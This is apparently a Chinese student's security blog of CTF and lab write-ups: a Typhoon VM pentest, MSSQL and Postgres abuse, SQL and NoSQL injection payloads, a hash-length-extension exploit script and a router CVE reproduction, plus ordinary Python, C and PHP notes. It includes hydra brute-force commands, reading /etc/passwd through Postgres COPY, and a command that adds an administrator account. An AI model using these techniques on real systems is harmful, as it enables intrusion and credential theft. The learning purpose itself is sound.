同时还有一个扫描结果：以前似乎没有看到过

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 1h43m54s, median: 7h59m58s
| nbstat: NetBIOS name: TYPHOON, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   TYPHOON<00>          Flags: <unique><active>
|   TYPHOON<03>          Flags: <unique><active>
|   TYPHOON<20>          Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb-os-discovery: 
|   OS: Unix (Samba 4.1.6-Ubuntu)
|   Computer name: typhoon
|   NetBIOS computer name: TYPHOON\x00
|   Domain name: local
|   FQDN: typhoon.local
|_  System time: 2019-08-09T11:30:49+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-09 04:30:48
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.04 ms 192.168.41.2
2   0.17 ms 192.168.110.164

我最先打的是2049端口，因为这个端口对应的是nfs服务，用这条命令：
nmap -sV --script=nfs-showmount ip扫出可以远程挂载的目录

之后尝试挂载，但是我无法用get命令将文件拷贝下来emmmm，主机也没有对应的挂载目录。

队友打了21号端口，但是信息也不是很多

22号端口是ssh服务，A组的师傅爆出了密码，参考安全客上的方法，可以先枚举用户名，

发现靶机名字为typhoon就想着去测试一下看看账号存不存在,利用ssh用户枚举漏洞进行测试

在GitHub上找了一个ssh_enum的脚本，尝试一下还行但是没有好字典

hydra可以爆破弱口令： hydra -l typhoon -P /usr/share/wordlist/metasploit/unix_passwords.txt ssh://192.168.56.150

第一次渗透感觉还不是很熟练，能够做到的就是这些:cry:

21号端口

search ftp_version收集ftp服务器的信息

msf5 auxiliary(scanner/ftp/ftp_version) > exploit 

[+] 192.168.41.166:21     - FTP Banner: '220 (vsFTPd 3.0.2)\x0d\x0a'
[*] 192.168.41.166:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

如果这个版本的ftp有漏洞的话是不是可以getshell？

浏览器直接访问并没有什么东西

尝试使用exploit/unix/ftp/vsftpd_234_backdoor进行渗透但是没成功

22端口

尝试枚举用户名为typhoon

成功枚举

使用hydra去爆破密码hydra -l typhoon -P /usr/share/wordlist/metasploit/unix_passwords.txt ssh://192.168.41.166

25端口smtp服务

获取到服务器的信息

msf5 auxiliary(scanner/smtp/smtp_version) > exploit 

[+] 192.168.41.166:25     - 192.168.41.166:25 SMTP 220 typhoon ESMTP Postfix (Ubuntu)\x0d\x0a
[*] 192.168.41.166:25     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

5432端口postgresql服务

补充一点postgresql操作：

列出数据库\l：

postgres=# \l
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-----------+----------+----------+-------------+-------------+-----------------------
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(3 rows)

列出table’\d’:

ostgres=# \d
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | mrlee | table | postgres
(1 row)

之后使用metasploit的模块去收集信息

msf5 auxiliary(scanner/postgres/postgres_version) > exploit 

[*] 192.168.41.166:5432 Postgres - Version PostgreSQL 9.3.4 on x86_64-unknown-linux-gnu, compiled by gcc (Ubuntu 4.8.2-16ubuntu6) 4.8.2, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

直接发现弱口令

[-] 192.168.41.166:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.41.166:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.41.166:5432 - Login Successful: postgres:postgres@template1
[-] 192.168.41.166:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)

然后登陆

# root @ kali in ~ [3:34:50] C:127
$ psql -h 192.168.41.166 -U postgres
Password for user postgres: 
psql (11.2 (Debian 11.2-2), server 9.3.4)
Type "help" for help.

postgres=# help

select pg_ls_dir('./');列出目录

postgres=# select pg_ls_dir('./');
    pg_ls_dir    
-----------------
 PG_VERSION
 pg_notify
 pg_multixact
 pg_subtrans
 pg_serial
 pg_snapshots
 pg_stat
 pg_clog
 pg_xlog
 base
 pg_twophase
 pg_tblspc
 global
 pg_stat_tmp
 postmaster.opts
 postmaster.pid
(16 rows)

建表并且从/etc/passwd中拷贝数据过来再读取,（这个姿势第一次见）

postgres=# DROP TABLE if EXISTS MrLee;
NOTICE:  table "mrlee" does not exist, skipping
DROP TABLE
postgres=# CREATE TABLE MrLee(t TEXT);
CREATE TABLE
postgres=# COPY MrLee FROM '/etc/passwd';
COPY 44
postgres=# SELECT * FROM MrLee limit 1 offset 0;
                t                
---------------------------------
 root:x:0:0:root:/root:/bin/bash
(1 row)

postgres=# SELECT * FROM MrLee;
                                         t                                         
-----------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin

DC1靶机

姿势： find命令提权，hydra爆破，Drupal重置管理员密码

需要积累一些靶机渗透的经验

metasploit渗透mssql服务

1433端口对应于mssql服务，第一步一般是弱口令：
use auxiliary/scanner/mssql/mssql_login 然后设置字典路径和远程主机即可

还可以使用auxiliary/scanner/mssql/mssql_ping进一步收集信息

之后尝试登陆mssql服务
use auxiliary/admin/mssql/mssql_exec 可以设置cmdset CMD cmd.exe /c net user

添加管理员用户，远程登陆：
cmd.exe /c net user shenlan test /add&net localgroup administrator shenlan /add

开启3389端口一般是提供远程桌面服务，

渗透之——Metasploit渗透MSSQL

masscan扫描工具

扫描指定网络和端口：
masscan.exe -p80 192.168.81.1/24

扫描指定主机所有开放的端口：

masscan.exe -p0-65535 192.168.81.143

--banners可以获取服务器的banner信息 --echo选项将配置信息保存下来，这样可以下一次快速扫描

masscan.exe -p80,443,3306 192.168.81.143 —banners —echo>1.conf 保存配置信息
masscan.exe -c 1.conf 读取配置信息

--rate提高扫描速度
渗透技巧：Windows平台运行Masscan和Nmap

nmap高级使用技巧

nmap常见的扫描方式：

半开放扫描: -sS 没有建立三次握手连接，速度很快
全连接扫描：-sT 三次握手过程，速度较慢
扫描UDP端口： -sU

实验吧web

Tue, 06 Aug 2019 00:00:00 GMT

记录一下实验吧的wp

后台登陆

ctrl+u查看源码

<!-- $password=$_POST['password'];
	$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
	$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0){
			echo 'flag is :'.$flag;
		}
		else{
			echo '密码错误!';
		} -->

一上来就问管理员密码，并且要求登陆，那么是爆破呢，还是爆破呢？

emmmmm其实这题的考点是md5的

查了一下官方文档，md5函数的第二个参数如果为true,那么就会返回原始16字符二进制格式

而且sql语句显然是可以拼接注入的，关键在于如何注入了

提供一个字符串： ffifdyop
md5后，276f722736c95d99e921722cf9ed621c再转成字符串:’ ‘ ‘or’ 6解析:存在 or 即代码的两边有一边为真既可以绕过，后面的其实为垃圾代码没有任何用的。or 后面有6，非零值即为真。既可以成功绕过。

http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

当然看评论也有说密码就是e58的
参考

认真一点

http://ctf5.shiyanbar.com/web/earnest/index.php

这道题是盲注的题目，不太好搞

天下武功唯快不破

这个可以通过浏览器抓包，然后发现响应头中有一个FLAG字段显然是base64加密过的，解密之后就会得到提示，让你写脚本post提交

我写的垃圾代码如下：




res = urllib.urlopen("http://ctf5.shiyanbar.com/web/10/10.php")

head = str(res.headers)

FLAG = head[head.index('FLAG')+6:head.index('FLAG')+48+6]

flagBase64 = base64.decodestring(FLAG)

TrueFlag = flagBase64[flagBase64.index(':')+1:]

data = {'key': TrueFlag}
res = requests.post(url='http://ctf5.shiyanbar.com/web/10/10.php', data=data)

print res.content

师傅写的代码比我好看多了

# coding:utf8


url = "http://ctf4.shiyanbar.com/web/10.php" # 目标URL
s = requests.Session() # 获取 Session
response = s.get(url) # 打开链接
head = response.headers # 获取响应头
flag = base64.b64decode(head['flag']).split(':')[1] # 获取相应头中的Flag
print flag # 打印Flag
postData = {'key': flag} # 构造Post请求体
result = s.post(url=url, data=postData) # 利用Post方式发送请求
# (注意要在同一个Session中 , 有的时候还需要设置Cookies , 但是此题不需要)
print result.text # 打印响应内容

拐弯抹角

这个涉及到我的知识盲区，叫做伪静态页面
百度百科

payload 如下：

http://ctf5.shiyanbar.com/indirection/index.php/a/index.php

Forms

作为网络安全的人才，一定要仔细观察每一处地方

比如这个题目的表单：

<form action="" method="post">
    PIN:<br>
    <input type="password" name="PIN" value="">
    <input type="hidden" name="showsource" value=0>
    <button type="submit">Enter</button>

很明显看到，有一个hidden字段，而且是showsource,如果将其修改为1就能得到源码

源码如下：

<?php
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found.";
}
?>

emmmm后面就不说了

天网管理系统

查看源码有隐藏字段

<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

联想到php代码审计的小trick

md5(QNKCDZO)得到的结果是0e开头的

得到提示，

访问http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer

得到：

$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道：成也布尔，败也布尔。 回去吧骚年

天真的我以为那三个问号就是真的问号

唉。。

<?php

$a = array('user'=>true, 'pass'=>true);
$b = serialize($a);

$c = unserialize($b);
var_dump($b);
?>

将这个作为password输入a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

忘记密码

这个题目有点难度

不过还是要获取信息

查看源代码发现两处关键信息：

<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" content="Vim" />

告诉了你管理员的邮箱和vim。。告诉我vim干嘛？当然是swp文件了

此处访问http://ctf5.shiyanbar.com/10/upload/.submit.php.swp可以得到swp文件
(这是通过抓包知道发现表单上传的就是这个文件，多试几次，记得在文件名前加*.*)


........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/

........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失败了呀";
	}
}

token是0e00000000即可绕过

payload如下：

http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin%40simplexue.com&token=0e00000000

windows资源管理器神器

Mon, 05 Aug 2019 00:00:00 GMT

一直很困惑不知道如何使用资源管理器，每次复制粘贴文件都需要同时打开多个资源管理器然后再emmmm，然后就会嫌资源管理器太多了就无脑x掉了，这时候就会发现mmp我刚打开的资源管理器呢。。。然后又要去找emmmm

于是去搜了一下用来增强资源管理器的工具找到了这个： QTTabBar

可以说是体验很棒了

网址

比如多标签页

再比如文件和文件夹预览

总之很棒就是了

初见哈希扩展攻击

Mon, 05 Aug 2019 00:00:00 GMT

目前还是太菜了，向师傅们好好学习

SSRF me

点开首页就是一长串代码, curl重定向保存到文件中,然后仔细分析了一下代码

程序主要涉及到三个参数,一个是param在get中,另外两个action和sign是通过cookie获得的
访问/geneSign可以得到sign的值, action可以是scan或read,但是在访问/De1ctf时,会检验sign是否正确,sign的生成算法：

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

这其中secret_key是不知道的,并且gengeSign限制了action只能是scan,结合后来题目的提示是访问flag.txt,但是最多将这个文件读入result.txt,却不能读取出来。

这样想来是不是只能爆破secret_key了？但是secret_key又怎么会那么容易给你呢。。

这就涉及到我的知识盲区了,叫做哈希扩展攻击。。

先看实验吧一道例题

这题，注入不想注入，源码没扫出来，啥信息都没有？

还是要多关注抓包的信息，尤其是数据包中出现了一些你都没有看过的东西的时候就要仔细看一看了

hhh没想到吧

原来可以通过这种方式获取到源代码。。

$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}

empty函数非空返回false，别想多了

关键在这里：
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {

其中$secret是不知道的，$username和password是可以控制的，并且$secret的长度是15

哈希扩展攻击的原理之后再讨论，我们先分析这题咋搞

首先username必须是admin,password不能是admin那就随便输一个值比如cck

我们的目标很简单，就是绕过它
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {

所以目标就是让$COOKIE["getmein"]和md5后的值相等，所以需要同时伪造两边的值天平才能平衡

而hashpump工具就是来干这个的：

第一个参数是md5($secret . urldecode("admin" . "admin"))的值，第二个参数是填充的数据，第三个参数是填充数据加key的长度，第四个参数是添加的数据。
这样就能同时生成天平左边和右边的值了

当然还需要URL编码一下

理解了这题那么这道De1ctf的题目也就好说了

参考ctftime上的exp代码如下：


"""
hashpump(hexdigest, original_data, data_to_add, key_length) -> (digest, message)

Arguments:
    hexdigest(str):      Hex-encoded result of hashing key + original_data.
    original_data(str):  Known data used to get the hash result hexdigest.
    data_to_add(str):    Data to append
    key_length(int):     Length of unknown data prepended to the hash

Returns:
    A tuple containing the new hex digest and the new message.
'
"""
payload = 'flag.txt'
param = 'param=' + payload
base_url = 'http://139.180.128.86/'
signurl = base_url + 'geneSign?' + param
r = requests.post(url=signurl,cookies={'action':'scan'})
sign = r.content
print(sign)
readsign,add_data = hashpumpy.hashpump(sign,payload+'scan','read',16)
print(readsign)
# print add_data
add_data = add_data[len(payload):]
print(add_data)
expurl = base_url + 'De1ta?' + param
print(urllib.parse.quote(add_data))
r = requests.post(url=expurl,cookies={'action':urllib.parse.quote(add_data),'sign':readsign})
print(r.content)

当然我用的是python3，并且注意urllib.parse.quote(add_data)方法

就成功了

noSQL Injection

Sun, 04 Aug 2019 00:00:00 GMT

cybrics noSQL

这道题是cybrics的一道web题，由于是第一次接触noSQL注入，所以单独拿出来好好研究一下

php操作mongodb的语法：

// connect to mongodb
$m = new MongoClient();
// select a database
$db = $m->test;
// select collection
$collection = $db->users;

$cursor = $collection->find($data);
$cursor = $collection->findone($data);

基本上就是实例化对象，选择数据库，选择表，然后开始查找

查询语法主要如下：

db.user.find({'username': 'xxxppp'})

//查找用户名不为admin且password为123456的用户
db.user.find({'username':{$ne:'admin'}, 'password':'123456'})

//正则匹配：

db.customer.find({'name': {'$regex':'.*s.*'} })
db.user.find({'username':/jrx/i})

这道题目首先可以用dirsearch发现是git源码泄露，之后用GitHacker.py获取到源码

查看index.php，首先要登陆，需要绕过auth函数

function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
    $document = $collection->findOne(json_decode($raw_query));
    if (isset($document) && isset($document->password)) {
        return true;
    }
    return false;
}

username和password都没有经过过滤就拼接了，但是这里有一个json_decode不太好过

如果没有json_decode函数，我们可以通过{"username":"admin","password":{"$ne":"1"}}绕过登陆的限制

于是这样做：

这样就绕过限制登陆了

来看第二个：

<?php
    $filter = $_GET['filter'];

    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

    $pipeline = [
        ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
        ['$sort' => ['count' => -1]],
        ['$limit' => 5],
    ];

    $filters = [
        ['$project' => ['category' => $filter]]
    ];

    $cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>

array_merge函数将$pipeline和filters进行合并

查找资料得知

在mongodb的aggregate中，可以使用$cond进行条件语句：

并且：

我们可以构造如下链接，匹配到flag时将其移除

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$$REMOVE&filter[$cond][else]=$category

利用条件语句，发现flags时，就输出其title：

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

从title中我们得知有text，那么读取：

http://173.199.118.226/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$text&filter[$cond][else]=$category

就可以获得flag了

NoSQL注入实践

MongoDb作为一个NoSQL的数据库，操作其实还是很SQL很相似的

都有数据库，不同的是集合对应于表，文档对应于行，字段对应于列

这张图显示了映射关系：

于是操作MongoDb时可以理解为选择数据库，然后选择collection，然后构造查询语句进行查询

比如demo.html

$m = new MongoClient()连接数据库，$db=$m->test选择test数据库，然后选择collection : $collection=$db->uses

构造的查询语句为：

$data = array(
		'username' =>  $_REQUEST['username'],
		'password' =>  $_REQUEST['password']
		
);

之后进行查询： $cursor = $collection->find($data)

这里没有字符串的拼接，似乎无法注入，但是如果我们传入的username和password都是数组的话，那么查询的语句就会成为这样：

构造的URL：http://localhost/NoSQLI/login/login.php?username[$ne]=1&password[$ne]=1&login-submit=login

此时拼接的$data

json_encode后得到：
"{"username":{"$ne":"1"},"password":{"$ne":"1"}}"

参考

NoSQL注入总结(MongoDB)

019 CyBRICS CTF Quals wp

DIR-823G复现

Sat, 03 Aug 2019 00:00:00 GMT

Dlink DIR-823G漏洞复现(CVE-2019-7298, CVE-2019-7297)

binwale提取文件

文件下载地址

之后进行固件的模拟，

成功ping通网络

第一次进入路由器需要需要进行一些设置页面，查看是否有未授权访问的情况

导出配置文件（信息泄露）。

浏览器访问直接弹出了下载页面

导出配置文件，

获取到系统信息

goahead程序分析(命令注入)

在查看固件的bin目录时发现了一个goahead的程序，说明此路由器是通过goahead进行开发的

拖入到IDA中进行分析，发现0x42424C处注册了处理函数

抓取到登陆的数据包，是发往/HNAP1/的

分析/HNAP1 处理函数的逻辑。函数位于0x42383C

在这个部分，从函数表中进行遍历，寻找函数

函数表如下：

找到了需要调用的处理函数后，会首先记录 POST 的原始报文, 首先用 snprintf 生成命令，然后使用 system 执行。

我们可以通过直接注入 ' 来命令执行

验证一下：

参考

DIR-823G HNAP_Entry_Func

qwb复现

Sat, 03 Aug 2019 00:00:00 GMT

复现一些qwb的题目

upload

可以通过dirsearch找到泄露的源码， -u指定url， -e指定插件
如果是代码审计题，而且是文件很多的，需要找到利用点，我们直接搜索unserialize找到一处可以利用的代码：

public function login_check(){
       $profile=cookie('user');  //获取到cookie中的user值
       if(!empty($profile)){
           $this->profile=unserialize(base64_decode($profile)); //直接反序列化
           $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
           if(array_diff($this->profile_db,$this->profile)==null){
               return 1;
           }else{
               return 0;
           }
       }
   }

接下来去寻找哪里调用了这个方法，在Profile这个类中

public function upload_img(){
     if($this->checker){
         if(!$this->checker->login_check()){
             $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
             $this->redirect($curr_url,302);
             exit();
         }
     }
     ...

upload_img方法会调用login_check反序列化

而这个操作中的 \$this->ext、\$this->filename_tmp、$this->filename 均可通过反序列化控制。

同时在Profile.php文件的末尾还有一处

public function __get($name)
{
    return $this->except[$name];
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

这两个函数的意思是如果访问了类中的private属性，就会调用__get方法，如果调用了类中不存在的方法，就会通过__call对$this->name所指向的方法进行调用

意味着我们可以调用任意的类方法

同时在Register.php中有一处：

public function __destruct()
{
    if(!$this->registed){
        $this->checker->index();
    }
}

首先上传一个图片马，之后通过Register类的__destruct方法，调用__get方法得到函数名upload_img，再调用__call方法，通过调用upload_img可以对图片马进行改名

如果我们将$this->checker赋值为Profile类，由于Profile类中不存在index方法，就会触发__call，这样就能构造一条完成的攻击链

高明的黑客



filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('/var/www/html/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'uname'
            flag = 'Linux'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
                if flag in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
                if flag in r.text:
                    print('backdoor file is: ' + name)
                    print('POST:  ' + passwd)
        except : pass

cybrics复现

Wed, 31 Jul 2019 00:00:00 GMT

目前太菜了，没做出几道cybrics的题目，趁着题目还在复现一波

Zakukozh

下载地址

下载了一个文件，于是想查看文件类型：

zakukozh.bin: data

题目中有提示说是affine cipher

affine cipher中文翻译过来就是放射密码，可以理解成简单的替换加密，比如wikipedia上举出的栗子

一个大小为m的字母表，通过变换 $E(x) = (ax+b) mod \, m$ 得到密文

查看文件的十六进制形式，学习一些hexdump命令

pxy@LAPTOP-UBIEP4K5  /mnt/f/1.ctf/cybrics/crypto  hexdump -C zakukozh.bin| head
00000000  60 09 eb 82 1c ef df ef  59 59 59 1c a0 91 55 27  |`.......YYY...U'|
00000010  59 59 77 bc 59 59 59 2e  d1 77 59 59 59 a9 44 38  |YYw.YYY..wYYY.D8|
00000020  31 59 59 59 68 16 27 82  37 59 8b 6b fd 00 59 59  |1YYYh.'.7Y.k..YY|
00000030  59 95 62 28 dc 28 59 59  b8 ba fe 1d 08 a4 59 59  |Y.b(.(YY......YY|
00000040  59 e0 e9 91 90 16 59 59  2b c6 59 59 2b c6 68 02  |Y.....YY+.YY+.h.|
00000050  da 31 35 59 59 fe 7e a0  55 28 45 61 db 3c 3d 10  |.15YY.~.U(Ea.<=.|
00000060  08 a6 a1 a3 a4 89 ab 3e  68 b0 1b 82 a6 35 fd cd  |.......>h....5..|
00000070  1c e0 d9 de 59 67 7f e3  45 70 b0 e2 e6 22 55 17  |....Yg..Ep..."U.|
00000080  32 d9 de 3e 87 1d d2 c2  59 51 e7 e6 59 49 a2 82  |2..>....YQ..YI..|
00000090  68 39 eb ab 77 19 7d fd  a4 d9 a1 b0 ef 59 f8 07  |h9..w.}......Y..|

查看十六进制数据如上，根据题目的提示，这就是仿射加密之后的结果，那么如何确定a,b,m这三个参数

由于是二进制数据，那么m就是256
a和b就通过爆破来解决

脚本如下：

def reffine(a, b, c):
    return chr((a * (ord(c) - b)) % 256)

with open('zakukozh.bin') as f:
	encrypted = f.read()

for i in range(256):
    for j in range(256):
        decrypted = ''.join([reffine(i, j, c) for c in encrypted])

        with open('output/dec_{}_{}.out'.format(i, j), 'wb') as f:
            f.write(decrypted)

就是跑的太慢了 :joy:

python文档阅读笔记3

Wed, 31 Jul 2019 00:00:00 GMT

python文件操作

读文件，使用open函数打开一个文件
如果不指定模式，则默认以 text mode 打开

这意味着从文件中读取或写入字符串时，都会以指定的编码方式进行编码。如果未指定编码格式，默认值与平台相关

read()方法，可选参数size，当 size 被省略或者为负的时候，将读取并返回文件的整个内容

readline()方法，从文件中读取一行

如果要遍历文件，可以采取遍历文件对象的方式：

>>> for line in f:
...     print(line, end='')

这种实现方式比较高效

在编写脚本的过程中，注意文件的打开方式，编码这些小细节

写文件

f.write(string) 会把 string 的内容写入到文件中，并返回写入的字符数。

f.tell() 返回一个整数，给出文件对象在文件中的当前位置，表示为二进制模式下时从文件开始的字节数，以及文本模式下的不透明数字。

C语言缓冲区

Tue, 30 Jul 2019 00:00:00 GMT

调试一下c语言程序

自我感觉很久没写C语言了

getchar函数

   char a = getchar();
printf("a is %c\n", a);
char b = getchar();
printf("b is %c\n", b);
char c = getchar();
printf("c is %c\n", c);
return 0;

getchar函数是依次从缓冲区中取出字符来，会取走的！！

nihao
a is n
b is i
c is h

这一行

for (; scanf("%d", &nums[i]) != 0 && getchar() == ' '; ++i)
	nums = (int*)realloc(nums, sizeof(int) * (i + 1)); //数组为非降序排列

这里会要求用户输入数据，用户输入的数据就是会存放在缓冲区内，然后之后scanf每次读一个数字，getchar紧随其后读一个字符，所以我们输入的时候必须是一个数字一个空格

while (getchar() == '\n' || getchar() == EOF || getchar() == '\0');

之后把缓冲区的字符读干净

测试一下，如果我输入12 21\n

那么scanf读完21之后，getchar函数读\n

00D52466  je          main+0DEh (0D524AEh)  
00D52468  mov         esi,esp  
00D5246A  call        dword ptr [__imp__getchar (0D5F220h)]   ;函数返回值存放在eax中，十进制10，代表LF
00D52470  cmp         esi,esp  
00D52472  call        __RTC_CheckEsp (0D51357h)  
00D52477  cmp         eax,20h  
00D5247A  jne         main+0DEh (0D524AEh)

关键是这两条指令：

00D52472  call        __RTC_CheckEsp (0D51357h)  
00D52477  cmp         eax,20h

所以之后比较cmp eax 20h就会跳出循环

之后进入那个while循环

while (getchar() == '\n' || getchar() == EOF || getchar() == '\0');
00D524AE  mov         esi,esp  
00D524B0  call        dword ptr [__imp__getchar (0D5F220h)]  
00D524B6  cmp         esi,esp  
00D524B8  call        __RTC_CheckEsp (0D51357h)  
00D524BD  cmp         eax,0Ah  
00D524C0  je          main+119h (0D524E9h)

此时缓冲区已经是空的了，所以会要求用户继续输入数据
我此时输入了 1\n
所以调用完getchar函数之后eax存放了十六进制的49

那么第二个调用getchar读取的结果就是0Ah

00D524C2  mov         esi,esp  
00D524C4  call        dword ptr [__imp__getchar (0D5F220h)]  
00D524CA  cmp         esi,esp  
00D524CC  call        __RTC_CheckEsp (0D51357h)  
00D524D1  cmp         eax,0FFFFFFFFh

继续。此时缓冲区已经空了

那么会要求用户继续输入
我又输入了一个换行符，很明显此时读取的结果非空，所以跳出while循环

00D524D8  call        dword ptr [__imp__getchar (0D5F220h)]  
00D524DE  cmp         esi,esp  
00D524E0  call        __RTC_CheckEsp (0D51357h)  
00D524E5  test        eax,eax   ;检查eax是否为空
00D524E7  jne         main+11Bh (0D524EBh)  
00D524E9  jmp         main+0DEh (0D524AEh)

遇到的尴尬

如果要程序的健壮性，那么用户多输入一个空格就会出错，因为多输入一个空格程序就不知道后面那个是什么了，同时还涉及到getchar函数清空缓冲区，那个while循环的写法确实很经典，但是就没有考虑过如果缓冲区本身就是空的呢？

我修改了一下原有的代码，加入了cin.peek函数来帮助判断

while (1)
{

	nums = (int*)realloc(nums, sizeof(int) * (i + 1));
	scanf("%d", &nums[i]);
	i++;
	char ch = getchar();
	if (ch == ' ')
	{
		if (isdigit(cin.peek()))
		{
			continue;
		}
		else
		{
			break;
		}
	}
	if (ch == '\n')
	{
		break;
	}
}
//    for(;scanf("%d", &nums[i]) != 0 && getchar() == '\n'; i++)
//    {
//        nums = (int *)realloc(nums, sizeof(int)*(i+1));
//    }
fflush(stdin);

blog 更新小记

Tue, 30 Jul 2019 00:00:00 GMT

更新

简单地更新了一下自己的blog，虽然是这么说，但是实际上还是花了不少时间来完善，主要有：

修改了代码的高亮格式，黑色的主题更好看一些
更换了blog的markdown引擎，可以渲染emoj了
修改了自我介绍，去掉了网易云音乐的外链，因为失效了，同时添加了简书和知乎链接
添加了友链
添加了评论gitment

TODO

搜索功能没有没法用

blog还可以更美化一点

一点感想

喜欢自己搭建的这个小天地，虽然有这么或者那么的不完善，但是这个blog见证着我的成长！

php-manual-note-0

Tue, 30 Jul 2019 00:00:00 GMT

php doc阅读笔记0

array

数组是php的key=>value映射
key只能是integer和string类型，value可以是任意类型

所以key会有如下强制转换：

包含有合法整型值的字符串会被转换为整型。例如键名 “8” 实际会被储存为 8。但是 “08” 则不会强制转换，因为其不是一个合法的十进制数值。
浮点数也会被转换为整型，意味着其小数部分会被舍去。例如键名 8.7 实际会被储存为 8。
